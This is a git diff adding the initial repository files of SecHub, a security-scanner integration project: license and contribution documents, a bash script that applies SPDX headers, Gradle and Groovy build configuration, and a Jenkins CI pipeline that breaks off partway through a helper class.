diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000..84a85d033a --- /dev/null +++ b/.gitignore @@ -0,0 +1,34 @@ +# customization files +build-custom.gradle +build-custom-buildscript.gradle +build-custom-allprojects.gradle + +# eclipse parts +bin/ +gen/ +src-gen/ +.metadata +.lck +.classpath +.project +.settings/ + +# intellij parts +*.iml +.idea/ +*.ipr +*.iws + +# gradle parts +.gradle/ + +# Build artifacts at all +*.class +build/ +*.jar +*.log +*.bak +*.zip +#*.json +#!sechub.json + diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000000..e56c6e7403 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,40 @@ + +# Contributing + +This document explains how to contribute to this project. +By contributing you will agree that your contribution will be put under the same license as this repository. + +## Table of Contents +- Communication +- Quick start +- Contributions +- Quality + +## Communication +For communication please respect our [FOSS Code of Conduct](https://github.com/Daimler/daimler-foss/blob/master/CODE_OF_CONDUCT.md). + +The following communication channels exist for this project: +- Github for reporting and claiming issues: https://github.com/daimler/sechub/issues + +Transparent and open communication is important to us. Thus, all project-related communication should happen only through these channels and in English. Issue-related communication should happen within the concerned issue. + + +## Quick Start +Please look at [First steps Wiki page](https://github.com/Daimler/sechub/wiki/First-steps) + +## Contributions +If you would like to contribute code you can do so through Daimler GitHub by forking the repository and sending a pull request. + +When submitting code, please make every effort to follow existing conventions and style in order to keep the code as readable as possible. + +If you are new to contributing in Github, [First Contributions](https://github.com/firstcontributions/first-contributions) might be a good starting point. + +Before you can contribute, you will need to sign our [CLA](https://github.com/Daimler/daimler-foss/blob/master/CONTRIBUTORS_LICENSE_AGREEMENT.md) and send the signed CLA to foss@daimler.com + +## Quality +Please ensure that for all contributions, the corresponding documentation is in-sync and up-to-date. All documentation should be in English language. + +Please look into [Quality Wiki page](https://github.com/Daimler/sechub/wiki/Quality) for more details. + +We assume that for every non-trivial contribution, the project has been built and tested prior to the contribution. + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000..661a4dcf4e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Daimler TSS GmbH + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000000..8e41d71ee2 --- /dev/null +++ b/README.md @@ -0,0 +1,38 @@ + +# SecHub +![SecHub Logo](https://github.com/Daimler/sechub/blob/master/sechub-doc/src/docs/asciidoc/images/sechub-logo.png) + +## Indented Usage + +SecHub represents a mechanism to integrate diverse security products like +- static code analysis tools +- web scanners +- infrastructure scanners +- ... maybe more in future + +by just using one simple API/client + +## Installation + +Please visit for detailed information. + +## Contributing + +We welcome any contributions. +If you want to contribute to this project, please read the [contributing guide](CONTRIBUTING.md). + +## Code of Conduct + +Please read our [Code of Conduct](https://github.com/Daimler/daimler-foss/blob/master/CODE_OF_CONDUCT.md) as it is our base for interaction. + +## License + +This project is licensed under the [MIT LICENSE](LICENSE). + +## Provider Information + +Please visit for information on the provider. + +Notice: Before you use the program in productive use, please take all necessary precautions, +e.g. testing and verifying the program with regard to your specific use. +The program was tested solely for our own use cases, which might differ from yours. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..53d4298b25 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,6 @@ + +It is Daimler’s goal to offer its customers the best and most secure products such as connected cars and other services. Daimler values the work of security researchers and whitehat hackers who spend time and effort helping us to achieve this goal. + +For further Information please visit our [Vulnerability Reporting Policy](https://www.daimler.com/whitehat/) + + diff --git a/apply-headers.sh b/apply-headers.sh new file mode 100755 index 0000000000..ec99d9cee9 --- /dev/null +++ b/apply-headers.sh @@ -0,0 +1,106 @@ +#!/bin/bash + +# SPDX-License-Identifier: MIT + +RED='\033[0;31m' +LIGHT_RED='\033[1;31m' +LIGHT_GREEN='\033[1;32m' +BROWN='\033[0;33m' +NC='\033[0m' # No Color + + +# +# apply spdx template to given file type +# param 1: fileending (e.g "yaml") +# param 2: template filename, will use templates inside sechub-other/spdx/template/$filename +function applySPDXonFirstLine { + fileEnding=$1 + spxTemplate=$2 + + echo -e "${LIGHT_GREEN}$Scanning '*.$fileEnding' files${NC}" + find -iname \*.$fileEnding | while read file ; do + if [[ -d $file ]]; then + echo -e "${BROWN}$file${NC} - ${LIGHT_GREEN}ignored because directory.${NC}" + elif ! grep -q SPDX-License $file + then + echo -e "${BROWN}$file${NC} - ${LIGHT_GREEN}appending copyright.${NC}" + cat sechub-other/spdx/template/$spxTemplate $file >$file.new && mv $file.new $file + fi + + done +} + +function infoAboutManualParts { + echo -e "${LIGHT_GREEN}Manual parts:${NC}" + echo -e "${BROWN}- Bash files must be handled manual${NC}" + echo "Reason?" + echo " This must be done in second line because of the #! string" + echo " Because apply-copyright-info.sh itself is a bash script and" + echo " also having only a small amount of bash scripts, we do not" + echo " automate this, so developers must add spdx info manually." + echo "Why second line?" + echo " This is the exact way done by linux kernel project and so a good " + echo " approach, see https://lwn.net/Articles/739183/ :" + echo -e "${BROWN} \"... For kernel source files, the decision was made that the SPDX tag" + echo -e " should appear as the first line in the file (or the second line for" + echo -e " scripts where the first line must be the #! string)...\"${NC}" + +} + +function infoAboutIgnoredParts { + echo -e "${LIGHT_GREEN}Ignored parts:${NC}" + echo -e "${BROWN}- json files must be ignored${NC}" + echo "Reason?" + echo -e " ${LIGHT_RED}Comments are not part of official syntax${NC}, see https://www.json.org/json-en.html" + echo " So many tools and libraries often have problems with javascript comments" + echo " inside JSON. Having declared MIT license also everybody is allowed to remove" + echo " an SPDX enry without licence conflict ... so we decided to add no spdx" + echo " entries in json files." + +} + +function startAutoApply { + + applySPDXonFirstLine "java" "spdx_template_doubleslash.txt" + applySPDXonFirstLine "groovy" "spdx_template_doubleslash.txt" + applySPDXonFirstLine "gradle" "spdx_template_doubleslash.txt" + applySPDXonFirstLine "go" "spdx_template_doubleslash.txt" + applySPDXonFirstLine "adoc" "spdx_template_doubleslash.txt" + + # for plantuml we assume these files are starting with a @startuml + # so we add as first enry the // + # if there is a need to change this in a file where no @startuml is + # used, change manual to ' at the beginning and commit change manually + applySPDXonFirstLine "puml" "spdx_template_doubleslash.txt" + applySPDXonFirstLine "plantuml" "spdx_template_doubleslash.txt" + + applySPDXonFirstLine "properties" "spdx_template_hash.txt" + + applySPDXonFirstLine "yaml" "spdx_template_hash.txt" + applySPDXonFirstLine "yml" "spdx_template_hash.txt" + + applySPDXonFirstLine "md" "spdx_template_md.txt" +} + +echo "*******************************" +echo "* Apply copyright information *" +echo "*******************************" +echo +infoAboutManualParts +infoAboutIgnoredParts +echo -e "${LIGHT_GREEN}Automated parts:${NC}" +echo "When you continue next step the automation will start:" + +read -n 1 -p "Continue ?(y/n):" continueSelect + +echo +echo "--------------------------------------------" +echo "Start applying missing copyright information" +echo "--------------------------------------------" +echo +if [ "$continueSelect" == "y" ]; then + startAutoApply +else + echo "Canceled" +fi + diff --git a/build-eclipse.gradle b/build-eclipse.gradle new file mode 100644 index 0000000000..f1461d6405 --- /dev/null +++ b/build-eclipse.gradle @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +/* ============================================================================ + This file contains the configurations for + Eclipse settings + ============================================================================ + + Included from: "${rootProject.projectDir}/build.gradle" + ============================================================================ + */ + + /* ensure eclipse source folders are always created, even when not inside GIT */ + def eclipseJavaSourceFolders=[ + 'src/main/java', + 'src/main/resources', + 'src/test/java', + 'src/test/resources' + ]; + + subprojects { + if (! projectType.eclipseProjects.contains(project)){ + return; + } + + apply plugin: 'eclipse' + + if (! projectType.javaProjects.contains(project)){ + return; + } + tasks.eclipse.dependsOn << { + if (projectType.javaProjects.contains(project)){ + for (String sourceFolder: eclipseJavaSourceFolders){ + def resourceDir = new File(project.projectDir, sourceFolder) + if( !resourceDir.exists() && ! resourceDir.mkdirs() ) { + logger.info("Not able to create eclipse resource dir: %1",resourceDir); + } + } + } + } + + + /* To have javadocs in eclipse added - where no source are available - we need these lines: + * see https://docs.gradle.org/current/dsl/org.gradle.plugins.ide.eclipse.model.EclipseClasspath.html + */ + eclipse { + classpath { + downloadSources = true // default: true + downloadJavadoc = true // default: false + } + + } + + + + /* setup eclipse with project encoding as UTF-8 (for editors) */ + eclipseJdt.doLast { + if (projectType.javaProjects.contains(project)){ + File f = file('.settings/org.eclipse.core.resources.prefs') + f.write('eclipse.preferences.version=1\n') + f.append('encoding/=utf-8') + } + } + +} diff --git a/build-java.gradle b/build-java.gradle new file mode 100644 index 0000000000..8ef60c6e18 --- /dev/null +++ b/build-java.gradle @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +/* ============================================================================ + This file contains the configurations for + Java settings + ============================================================================ + + Included from: "${rootProject.projectDir}/build.gradle" + ============================================================================ + */ + +if (JavaVersion.current().isJava8Compatible()) { + allprojects { + tasks.withType(Javadoc) { + // turn off doclint + options.addStringOption('Xdoclint:none', '-quiet') + enabled = false + } + } +} +subprojects{ + + if (! projectType.javaProjects.contains(project)){ + return; + } + + apply plugin: 'java' + + /* Setup UTF-8 for compile AND test compilation*/ + [ compileJava, compileTestJava ]*.options*.encoding = 'UTF-8' + + sourceCompatibility = '1.8' + targetCompatibility = '1.8' + + + def wireMockHttpPortValue = 8180; + def wireMockHttpsPortValue = 8143; + + /* Per default GRADLE stops the build if one single test fails. We want to have all tests executed. */ + test { + ignoreFailures = true + + def wireMockHttpPortProperty="sechub.test.wiremock.http_port"; + if ( project.hasProperty(wireMockHttpPortProperty)){ + wireMockHttpPortValue = project.getProperty(wireMockHttpPortProperty) + } + def wireMockHttpsPortProperty="sechub.test.wiremock.https_port"; + if ( project.hasProperty(wireMockHttpsPortProperty)){ + wireMockHttpsPortValue = project.getProperty(wireMockHttpsPortProperty) + } + + environment 'SECHUB_TEST_WIREMOCK_HTTP_PORT', "$wireMockHttpPortValue" + environment 'SECHUB_TEST_WIREMOCK_HTTPS_PORT', "$wireMockHttpsPortValue" + + } + + /** + * Task to create source jars + */ + task sourcesJar(type: Jar, dependsOn:classes) { + classifier = 'sources' + from sourceSets.main.allSource + } + + /** + * Task to create javadoc jars + */ + task javadocJar(type: Jar, dependsOn:javadoc) { + classifier = 'javadoc' + from javadoc.destinationDir + } + + /** + * Define artifacts + */ + artifacts { + archives sourcesJar + archives javadocJar + } + +} \ No newline at end of file diff --git a/build-maven.gradle b/build-maven.gradle new file mode 100644 index 0000000000..2dbbf56ccd --- /dev/null +++ b/build-maven.gradle @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +/* ============================================================================ + This file contains the configurations for + Maven settings + ============================================================================ + + Included from: "${rootProject.projectDir}/build.gradle" + ============================================================================ + */ + +subprojects { + + apply plugin: 'maven' + apply plugin: 'maven-publish' + + group = "com.daimler.sechub" + /* Continous integration part - use build number in version when 'ci.buildNumber' is set*/ + def buildNr = System.getenv('ci.buildNumber') + if (buildNr != null && ! buildNr.isEmpty()){ + version= version + "_"+buildNr + } + +} \ No newline at end of file diff --git a/build-spring.gradle b/build-spring.gradle new file mode 100644 index 0000000000..56a9c4e0db --- /dev/null +++ b/build-spring.gradle @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT + +subprojects { + + if (! projectType.springBootProjects.contains(project)){ + return; + } + + + logger.info("found spring boot relevant project:$project") + apply plugin: "org.springframework.boot" + // see https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Migration-Guide + apply plugin: 'io.spring.dependency-management' + + dependencies { + + testCompile(library.springboot_starter_test) + compile(library.springboot_starter_json) + +// only when using JDK >=10: +// compile(library.jdk_missing_jaxb_api) +// compile(library.jdk_missing_activation) + + if (projectType.springBootAdapterProjects.contains(project)){ + // next line: compile only, because spring boot does add android-json on test compile as lightweight imp + //compile(library.openjson) + + /* REST */ + compile(library.jackson_JDK8) + compile(library.springboot_starter_web) + + + if (! project.name.equals('sechub-adapter')){ + compile project(':sechub-adapter') + } + + testCompile library.wiremock + testCompile project(':sechub-testframework') + + } + + if (projectType.springBootSecHubServerProjects.contains(project)){ + compile(library.springboot_starter_web) + testCompile project(':sechub-testframework') + + /* when not the kernel project we add kernel testframework as test dependency */ + if (! project.name.equals('sechub-shared-kernel')){ + testCompile project(':sechub-shared-kernel-testframework') + } + + /* REST */ + compile(library.jackson_JDK8) + + /* database */ + compile(library.database_postgres) + compile(library.database_h2) + compile(library.springboot_starter_data_jpa) + //compile(library.springboot_starter_actuator) + + /* security */ + compile(library.springboot_starter_security) + testCompile(library.springframework_security_test) + + /* develop */ + // currently deactivated: compile(library.springboot_devtoolssf) + } + if (projectType.springDocProjects.contains(project)){ + compile(library.springboot_starter_web) + } + if (project.name.equals('sechub-server')){ + bootJar.enabled = true + bootRun.enabled = true + springBoot.buildInfo() // create build.properties in META-INF + // println ("boot jar enabled for $project") + }else{ + bootJar.enabled = false // https://spring.io/blog/2017/04/05/spring-boot-s-new-gradle-plugin + bootRun.enabled = false + //println ("boot jar NOT enabled for $project.name") + jar.enabled = true + } + } +} diff --git a/build-versioning.gradle b/build-versioning.gradle new file mode 100644 index 0000000000..0322503d55 --- /dev/null +++ b/build-versioning.gradle @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: MIT +import groovy.time.TimeCategory +import groovy.time.TimeDuration + +/* ============================================================================ + This file contains tasks doing versioining + Also 'buildVersionFiles' is executed for EVERY gradle call, which is + necessary to have allways exact same version in scope, even when calling + multiple times. As long as code does not change it will be same vesion... + ============================================================================ + + Included from: "${rootProject.projectDir}/build.gradle" + ============================================================================ + */ + +/* + * We do always build the files. See description in headline comment. + */ +buildVersionFiles() + +allprojects{ + // normal gradle build is for server so we use server image version + // go client uses generated version.go file for runtime info + project.version=VersionData.getServerVersion() +} + + +def buildVersionFiles(){ + println("BUILD versioning") + def start = new Date() + // See more details about versioning definition in issue SECHUB-172 + // This file contains some logic for calculation of the version number + + def gitTags = git.tag.list() + + def commitTags = gitTags.findAll { it.commit == git.head()} + def versionCommitTags = commitTags.findAll {it.name.startsWith("v")} + + // we got vX.Y.Z-server and vX.Y.Z-client tags + def serverVersionCommitTag = versionCommitTags.find{ it.name.contains("-server") } + def clientVersionCommitTag = versionCommitTags.find{ it.name.contains("-client") } + + def unstagedChanges = git.status().unstaged + def stagedChanges = git.status().staged + + def noUnstagedChanges = unstagedChanges.getAllChanges().isEmpty() + def noStagedChanges = stagedChanges.getAllChanges().isEmpty() + def hasChanged = !noUnstagedChanges || !noStagedChanges + def buildNumber= getBuildNr() + + // ------------------------ + // - Client + // ------------------------ + + // write version code for go client + String clientGoVersionTemplate = new File('./sechub-cli/src/daimler.com/sechub/cli/version.go.template').getText('UTF-8') + String clientVersion = buildVersionString(clientVersionCommitTag, hasChanged,buildNumber) + String clientGoVersionCode = clientGoVersionTemplate.replaceAll("__version__",clientVersion) + def clientVersionFile = new File('./sechub-cli/src/daimler.com/sechub/cli/version.go') + clientVersionFile.write(clientGoVersionCode) + + /* write version info also as asciidoc file*/ + def clientVersionAsciiDocFile = new File('./sechub-doc/src/docs/asciidoc/documents/gen/client-version.adoc') + clientVersionAsciiDocFile.write("// SPDX-License-Identifier: MIT\n"+clientVersion) + + // ------------------------ + // - Server + // ------------------------ + def serverVersion = buildVersionString(serverVersionCommitTag, hasChanged,buildNumber) + /* write version info also as asciidoc file*/ + def serverVersionAsciiDocFile = new File('./sechub-doc/src/docs/asciidoc/documents/gen/server-version.adoc') + serverVersionAsciiDocFile.write("// SPDX-License-Identifier: MIT\n"+serverVersion) + + def reducedServerVersion = simplifiedVersion(serverVersion); + def reducedClientVersion = simplifiedVersion(clientVersion); + + /* we use a simplified version for build artifacts-reason: + * there were multiple problems. E.g. a user downloading + * a client in version 1.0.0 does not want a folder called 1.0.0-b75.. + */ + VersionData.setServerVersion(reducedServerVersion); + VersionData.setClientVersion(reducedClientVersion); + + def stop = new Date() + + TimeDuration td = TimeCategory.minus( stop, start ) + println("- Server :"+VersionData.getServerVersion()+" ["+serverVersion+"]") + println("- Client :"+VersionData.getClientVersion()+" ["+clientVersion+"]") + println("- Time elapsed for versioning:"+td) +} + +/* + * Simplifies given version string . e.g. 0.4.1-b74 will be reduced to 0.4.1 + */ +def simplifiedVersion(String fullVersion){ + if (fullVersion==null){ + return "0.0.0"; + } + int index = fullVersion.indexOf('-'); + if (index==-1){ + return fullVersion; + } + return fullVersion.substring(0,index); +} + +/** + * Builds version string. When commits are dirty they will be marked addtionally + * with "-dirty-$timestamp" so its clear there has been changes. commits having + * a dedicated version tag will lead to reduced version info, when no tag defined but + * only commit id version will be "0.0.0-$abreviatedCommitId" + * also build id is added. For local builds build number starts with l and continues + * with timestamp. Server builds will have a b and buildbumber + * Examples: + *
+ * All committed:
+ *     local
+ *           tag "v1.0.0-client" will be lead to "1.0.0-l20181108071705"
+ *           tag "v1.1.0-server" will be lead to "1.1.0-l20181108071705"
+ *
+ *           commit:"aebcd" will lead to "0.0.0-aebcd"
+ *      build server (BUILD_NUMBER set)
+ *           tag "v1.0.0-client" will be lead to "1.0.0-b123"
+ *           tag "v1.1.0-server" will be lead to "1.1.0-b123"
+ *
+ *           commit:"aebcd" will lead to "0.0.0-aebcd-b123"
+ *
+ *
+ * Additional change:
+ *      local (no BUILD_NUMBER set)
+ *           former tag "v1.0.0-client" will lead for example to "1.0.0-dirty-l1540999578066"
+ *           former commit:"aebcd" will lead for example to "0.0.0-aebcd-dirty-l1540999578066"
+ *      build server (BUILD_NUMBER set)
+ *           former tag "v1.0.0-client" will lead for example to "1.0.0-dirty-l1540999578066"
+ *           former commit:"aebcd" will lead for example to "0.0.0-aebcd-dirty-l1540999578066"
+ * 
+ */ +def buildVersionString(commitTag, boolean hasChanged, buildNumber){ + def calcversion = "" + if (commitTag == null) { + calcversion="0.0.0-${git.head().abbreviatedId}" + } else { + calcversion = commitTag.name - 'v' + // remove identifiers for server, client, .. + calcversion=calcversion-"-server" + calcversion=calcversion-"-client" + + } + if (hasChanged){ + calcversion="${calcversion}-dirty"; + } + calcversion="${calcversion}-${buildNumber}"; + return calcversion +} + +def getBuildNr(){ + if (getServerBuildNr()!=null){ + return "b"+getServerBuildNr() + }else{ + if (project.hasProperty('sechub.build.timestamp')){ + if (project.getProperty('sechub.build.timestamp')=="false"){ + return "latest" + } + } + return getLocalBuildNr() + } +} + +def getServerBuildNr(){ + return System.getenv('BUILD_NUMBER' ) +} + +def getLocalBuildNr() { + return new Date().format('yyyyMMddHHmmss') +} + diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000000..d85c8a4a17 --- /dev/null +++ b/build.gradle @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +buildscript{ + + apply from: "${rootProject.projectDir}/libraries.gradle" + apply from: "${rootProject.projectDir}/projects.gradle" + + def customMavenRepoURL4plugins = System.getenv('CUST_MVN_URL_PLUGINS') + if (customMavenRepoURL4plugins!=null){ + repositories { + maven { url "${customMavenRepoURL4plugins}" } // e.g. a corporate nexus or artifactory... + } + }else{ + repositories { + mavenCentral() + jcenter() + } + } + + dependencies{ + classpath gradleApi() + classpath "org.springframework.boot:spring-boot-gradle-plugin:${libraryVersion.springBoot}" + classpath "org.asciidoctor:asciidoctor-gradle-plugin:1.5.3" + classpath "org.asciidoctor:asciidoctorj-diagram:1.5.4.1" + classpath "org.asciidoctor:asciidoctorj-pdf:1.5.0-alpha.16" + classpath "org.ajoberstar:grgit:2.1.0" // necessary for version calculation + } + +} + +ext { + git = org.ajoberstar.grgit.Grgit.open() // necessary for version calculation +} + +allprojects { + + def customMavenRepoURL = System.getenv('CUST_MVN_URL') + if (customMavenRepoURL!=null){ + repositories { + maven { url "${customMavenRepoURL}" } // e.g. a corporate nexus or artifactory... + } + }else{ + repositories { + mavenCentral() + jcenter() + } + } + + +} +apply from: "${rootProject.projectDir}/build-versioning.gradle" +apply from: "${rootProject.projectDir}/build-java.gradle" +apply from: "${rootProject.projectDir}/build-spring.gradle" +apply from: "${rootProject.projectDir}/build-maven.gradle" +apply from: "${rootProject.projectDir}/build-eclipse.gradle" + diff --git a/buildSrc/src/main/groovy/CmdExecutor.groovy b/buildSrc/src/main/groovy/CmdExecutor.groovy new file mode 100644 index 0000000000..60139df0a4 --- /dev/null +++ b/buildSrc/src/main/groovy/CmdExecutor.groovy @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +import org.gradle.api.* + +class CmdExecutor{ + List command = new ArrayList(); + int timeOutInSeconds=-1; + + + /** + * Executes given command list in given working directory. When started process + * does not return 0 as exit code a gradle exception is thrown which will break the build. + * The origin gradle exec process will always wait until no spawned processes are left. + * For e.g. the test integratino start this is an unwanted behaviour, because the process shall + * run and the next task (integration test execution) must proceed... + */ + public void execute(File workingDir){ + /* why next lines so extreme ugly code (for next .. and get(x) )? + becaus using just the list or converterting to array in standard + java way ala "cmdArray= list.toArray(new String[list.size])" does + not work in groovy!!!! */ + String[] cmdarray = new String[command.size()]; + for (int i=0;i> execute:" + command) + /* create process */ + ProcessBuilder pb = new ProcessBuilder(); + pb.command(cmdarray); + pb.directory(workingDir); + pb.inheritIO(); + /* start */ + Process p = pb.start(); + if (timeOutInSeconds >-1){ + p.waitFor(timeOutInSeconds, java.util.concurrent.TimeUnit.SECONDS); + }else{ + p.waitFor() + } + + /* handle errors */ + int result = p.exitValue(); + if (result!=0) { + throw new GradleException("Script returned exit code:$result"); + } + } +} diff --git a/buildSrc/src/main/groovy/MinGWConverter.groovy b/buildSrc/src/main/groovy/MinGWConverter.groovy new file mode 100644 index 0000000000..5ed1edf21a --- /dev/null +++ b/buildSrc/src/main/groovy/MinGWConverter.groovy @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +class MinGWConverter{ + public String convert(String path){ + if (path==null) { + return ""; + } + String replaced = path.replaceAll("\\\\", "/"); + if (replaced.indexOf(':')==1) { + StringBuilder sb = new StringBuilder(); + sb.append('/'); + sb.append(replaced.substring(0,1)); + sb.append(replaced.substring(2)); + return sb.toString(); + } + return replaced; + } + +} diff --git a/buildSrc/src/main/groovy/OSUtil.groovy b/buildSrc/src/main/groovy/OSUtil.groovy new file mode 100644 index 0000000000..8c468852d5 --- /dev/null +++ b/buildSrc/src/main/groovy/OSUtil.groovy @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +class OSUtil{ + public static final boolean isWindows(){ + String osName = System.getProperty("os.name").toLowerCase(); + return osName.contains("windows"); + } +} + diff --git a/buildSrc/src/main/groovy/VersionData.groovy b/buildSrc/src/main/groovy/VersionData.groovy new file mode 100644 index 0000000000..e710d8a37a --- /dev/null +++ b/buildSrc/src/main/groovy/VersionData.groovy @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +class VersionData{ + /* we initialize with undefined */ + static String serverVersion = "undefined-serverversion" + static String clientVersion = "undefined-clientversion" + static String websiteVersion = "undefined-websiteversion" +} \ No newline at end of file diff --git a/continous-integration-multibranch-pipeline.jenkins b/continous-integration-multibranch-pipeline.jenkins new file mode 100644 index 0000000000..b07ece734b --- /dev/null +++ b/continous-integration-multibranch-pipeline.jenkins @@ -0,0 +1,259 @@ +// SPDX-License-Identifier: MIT + +// Continous integration build pipeline script for jenkins +// ------------------------------------------------------- +// Please define a new "multibranch pipeline" job and use this jenkinsfile there +// Master branch is never build by this script - this branch is build by "release-pipeline.jenkins" +// But all other branches use this as CI build pipeline +// For details please refer /sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc + +def sechubGitBranch ="unknown" + +pipeline { + agent any + + environment { + SECHUB_TRUSTALL= "true" // necessary for integration tests + } + + stages { + + stage('Initialize') { + steps { + script{ + sechubGitBranch = sh(returnStdout: true, script: "git branch | grep \\* | cut -d ' ' -f2").trim() + echo "Branch is $sechubGitBranch" + + if( sechubGitBranch == "master" ) { + echo "Cancel build , because master is build on by release-pipeline.jenkins!" + currentBuild.result = 'SUCCESS' + return + } + + } + + + } + } + + stage('Build Server') { + environment { + /* against build race conditions - See TestPortProvider.java */ + SECHUB_TEST_WIREMOCK_HTTPS_PORT = getJenkinsExecutorPort(8143) + SECHUB_TEST_WIREMOCK_HTTP_PORT = getJenkinsExecutorPort(8180) + } + steps { + script{ + echo "SECHUB_TEST_WIREMOCK_HTTPS_PORT=${env.SECHUB_TEST_WIREMOCK_HTTPS_PORT}" + echo "SECHUB_TEST_WIREMOCK_HTTP_PORT=${env.SECHUB_TEST_WIREMOCK_HTTP_PORT}" + + /* + * we do NOT build sechub-integrationtest + * Reason: because we do NOT want to have the integration tests executed, otherwise gradle will not execute them + * on integration phase again (because nothing has changed, so gradle will cache the results which are ignored ... + */ + callGradleWrapper("clean ensureLocalhostCertificate build -x :sechub-integrationtest:test -x :sechub-cli:build -Psechub.test.wiremock.https_port=${env.SECHUB_TEST_WIREMOCK_HTTPS_PORT} -Psechub.test.wiremock.http_port=${env.SECHUB_TEST_WIREMOCK_HTTP_PORT}") + + } + } + } + stage('Build CLI') { + steps { + script{failed + callGradleWrapper(':sechub-cli:buildGo :sechub-cli:testGo') + } + } + } + stage('Integration tests') { + environment { + /* against build race conditions - See TestPortProvider.java */ + SERVER_PORT= getJenkinsExecutorPort(8243) + } + + steps { + script{ + callGradleWrapper("integrationtest -Psechub.integrationtest.serverport=${env.SERVER_PORT}") + } + } + } + + stage('Build Documentation') { + steps { + script{ + callGradleWrapper('documentation') + } + } + } + + } + + post { + failure { + emailext ( + subject:"[ BUILD FAILED ] Build:${env.BUILD_NUMBER}, branch: $sechubGitBranch", + body:"CI build for branch '$sechubGitBranch' failed.\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + } + fixed { + emailext ( + subject:"[ BUILD FIXED ] Build:${env.BUILD_NUMBER}, branch: $sechubGitBranch", + body:"CI build for branch '$sechubGitBranch' has been fixed.\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + } + always { + archive '**/integrationtest-server.log' + + junit '**/build/test-results/*/TEST-*.xml' + + } + } +} + +// -------------------------------------------------------------------------- +// - Script helper methods +// -------------------------------------------------------------------------- + +/* Gives back port number increased by executor number, so different between + jenkins executors (at least on same node) */ +int getJenkinsExecutorPort(int originPort){ + int executorNr = "${env.EXECUTOR_NUMBER}" + return originPort+executorNr +} + +void callGradleWrapper(String gradleCommand) { + jdk = tool name: 'JDK_8' + env.JAVA_HOME = "${jdk}" + + if (isUnix()) { + sh "./gradlew ${gradleCommand}" + } else { + bat "gradlew.bat ${gradleCommand}" + } +} + +/** + * This class is necessary because jenkins - at least in version 2.150.2 - does not correct handle + * GIT tags and branches. Multi pipeline builds do not even checkout the tags. Normal pipeline builds do checkout the tags, + * but "when {tag pattern:'myPattern', comparator:'REGEXP' } does not work at all - no comment... + * + * To get the possibility to use tags for versioning this helper class was created + * At the begining of the pipeline there is a global variable defined which is also available inside build stages + * So we do init with git tags on head as array and use getter methods (not groovy but normal java getter, otherwise sandbox problems OMG!) + */ +class SecHubBuildContext{ + + boolean clientVersion + boolean serverVersion + + boolean clientBuildDone + boolean serverBuildDone + + String releaseInfoString + + public SecHubBuildContext(){ + } + + public boolean isStartEmailNeeded(){ + return isAnyRelease() + } + + public boolean isFailEmailNeeded(){ + return true;// always + } + + public boolean isSuccesssEmailNeeded(){ + return isAnyRelease() + } + + public void setClientBuildDone(boolean done){ + this.clientBuildDone=done + } + + public void setServerBuildDone(boolean done){ + this.serverBuildDone=done + } + + public void setWebsiteBuildDone(boolean done){ + this.websiteBuildDone=done + } + + + /** + * Returns true when client or sever deployment. + * Interesting for interdepent deployment tests. + * E.g. + * - a server deployment should have integration test + client build before. + * - a client deployment should have also integration test - means server build before + * to have a working local integration test server + */ + public boolean isClientOrServerRelease(){ + return isClientRelease() || isServerRelease(); + } + + public boolean isAnyRelease(){ + return isClientRelease() || isServerRelease(); + } + + public boolean isSuccessFul(){ + if (! isAnyRelease()){ + return false + } + + if (isClientRelease()) { + if (! this.clientBuildDone){ + return false + } + } + + if (isServerRelease()) { + if (! this.serverBuildDone){ + return false + } + } + + return true + } + + public boolean isClientRelease(){ + return clientVersion + } + + public boolean isServerRelease(){ + return serverVersion + } + + public void init(String[ ] commitTags){ + def versionCommitTags = commitTags.findAll {it.startsWith("v")} + + // we got vX.Y.Z-server and vX.Y.Z-client tags + def clientVersionCommitTag = versionCommitTags.find{ it.contains("-client") } + def serverVersionCommitTag = versionCommitTags.find{ it.contains("-server") } + + releaseInfoString = "Release(s):" + if (clientVersionCommitTag == null || clientVersionCommitTag.empty){ + clientVersion=false; + }else{ + clientVersion=true; + releaseInfoString=releaseInfoString+" " + clientVersionCommitTag + } + + if (serverVersionCommitTag == null || serverVersionCommitTag.empty){ + serverVersion=false; + }else{ + serverVersion=true; + releaseInfoString=releaseInfoString+" " + serverVersionCommitTag + } + + } + + public String getReleaseInfo(){ + return releaseInfoString + } + + 